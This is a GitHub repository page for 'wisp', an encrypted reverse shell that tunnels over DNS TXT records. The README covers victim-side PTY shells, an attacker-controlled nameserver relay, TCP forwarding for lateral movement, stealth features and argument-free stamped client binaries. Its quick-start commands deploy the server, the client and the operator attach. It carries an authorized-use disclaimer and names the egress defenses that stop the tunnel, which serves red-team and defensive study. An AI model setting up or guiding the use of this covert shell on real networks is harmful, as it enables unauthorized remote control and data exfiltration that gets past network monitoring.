Lokasi ngalangkungan proxy:   [ UP ]  
[Ngawartoskeun bug]   [Panyetelan cookie]                
Skip to content
fff0xPublic

About

DNS Tunnel Shell · Read-only GitHub mirror, canonical on Radicle

Topics

Resources

Security policy

Stars

0 stars

Watchers

0 watching

Forks

Repository files navigation

wisp — DNS Tunnel Shell

An end-to-end-encrypted reverse shell that tunnels over DNS TXT records — a modern, hardened analogue of dnscat2. The server optionally runs the authoritative nameserver for its zone; the client reaches it through the normal recursive resolver (or a specified NS / DNS-over-HTTPS endpoint). DNS stays a viable covert channel / exfiltration path even in networks considered "secure" — the tool is both an attack POC and the argument for the defenses (DNS firewalling, RRL, egress filtering, DoH blocking) that stop it.

POC — authorized use only. Run solely in systems/networks you own or are explicitly authorized to test. Unauthorized use is illegal. E2E covers confidentiality of content, not the existence of the tunnel. MIT licensed (see LICENSE).

Status: working POC, all six phases done (client PTY+ARQ → server authority relay + attach → covert + control plane → DoH/multi-zone/jitter → IRC-bot relay → Windows/ConPTY). Live-tested end-to-end over real UDP DNS.

Architecture

The interactive shell (PTY) runs on the CLIENT (the victim inside the "secure" network that can only egress DNS). The SERVER (attacker-controlled authoritative NS) bridges an operator to the client over the E2E-encrypted DNS tunnel.

Operator ──wisp-op──► wisp-server (auth NS + relay) ◄──DNS (E2E)──► wisp-client (PTY /bin/sh)

The client can also act as a TCP jumphost (!forward): the operator opens a TCP forward through the DNS tunnel, and the client connects to internal targets — useful for recon (nmap, HTTP, lateral SSH) from the victim's network position. See docs/forward.md.

Upstream = query name labels (base32 or wordlist); downstream = the TXT answer. 1-RTT handshake (X25519 + Ed25519 + PSK), then ARQ-protected AEAD frames.

Crates

Crate Role
wisp-common crypto core, ARQ framing, base32+wordlist encoding, compression, protocol, TunnelProfile
wisp-server authoritative NS + relay + operator attach + control REPL + IRC-bot relay (irc feature) — no shell
wisp-client egress (system/ns/doh), handshake, ARQ, PTY shell (victim); obeys the server profile
wisp-op attach (framed shell I/O + WINCH) + control (remote profile REPL)

Quick start

# 1. server (repeatable --zone ⇒ multi-zone pool; prints the PSK invite + fingerprint)
./target/debug/wisp-server --zone t1.test --zone t2.test --listen 0.0.0.0:53 \
    --op-listen 127.0.0.1:7000 --control-listen 127.0.0.1:7001

# 2. client (boots on one zone, then rotates across the pool)
./target/debug/wisp-client --egress ns --ns <server-ip>:53 --zone t1.test \
    --psk <base32 psk> --server-fp <hex fingerprint>
#   (or a stamped binary: the server's `emit-client` stamps a template with a
#   signed bootstrap footer so the client runs with no CLI args — see docs/usage.md)

# 3. operator
./target/debug/wisp-op attach   --addr 127.0.0.1:7000   # list, then --session <id>
./target/debug/wisp-op control  --addr 127.0.0.1:7001   # set/show/apply/rotate words

Build variants: cargo build --release -p wisp-client (minimal), --features doh,log (DoH + tracing), --target x86_64-unknown-linux-musl (static), -p wisp-server --features irc (IRC-bot relay), --target x86_64-pc-windows-gnu (Windows/ConPTY). See docs/usage.md.

Documentation

Full design lives in docs/:

  • overview — model, threat model, decisions D1–D17
  • usage — build, run, egress modes, Windows, IRC relay
  • architecture — transport, layout, traffic-flow diagrams
  • crypto — handshake, key schedule, AEAD, forward secrecy
  • protocol — encoding, ARQ, streams, query-path state machine
  • stealth — detection surface, improvements S1–S8, the honest ceiling
  • operator — attach, wisp-op, IRC-bot relay, control plane
  • security — edge cases, review corrections F1/F2/A1–A7
  • roadmap — phase status, DDNS dead-drop, future work

Security model (summary)

Fixed algorithms, no negotiation (no downgrade): X25519 / Ed25519 / ChaCha20-Poly1305 / HKDF-SHA256. Authenticated, forward-secret handshake: ephemeral X25519 both sides, server signs the transcript (pinned via --server-fp, required), client authenticates via a PSK invite token (validated through the first AEAD OPEN frame). AEAD with per-direction keys; nonce = IV ‖ counter, counter == ARQ seq; sliding-window replay protection; all metadata (session, direction, counter) bound into associated data. Full details in docs/crypto.md and docs/security.md.

About

DNS Tunnel Shell · Read-only GitHub mirror, canonical on Radicle

Topics

Resources

Security policy

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages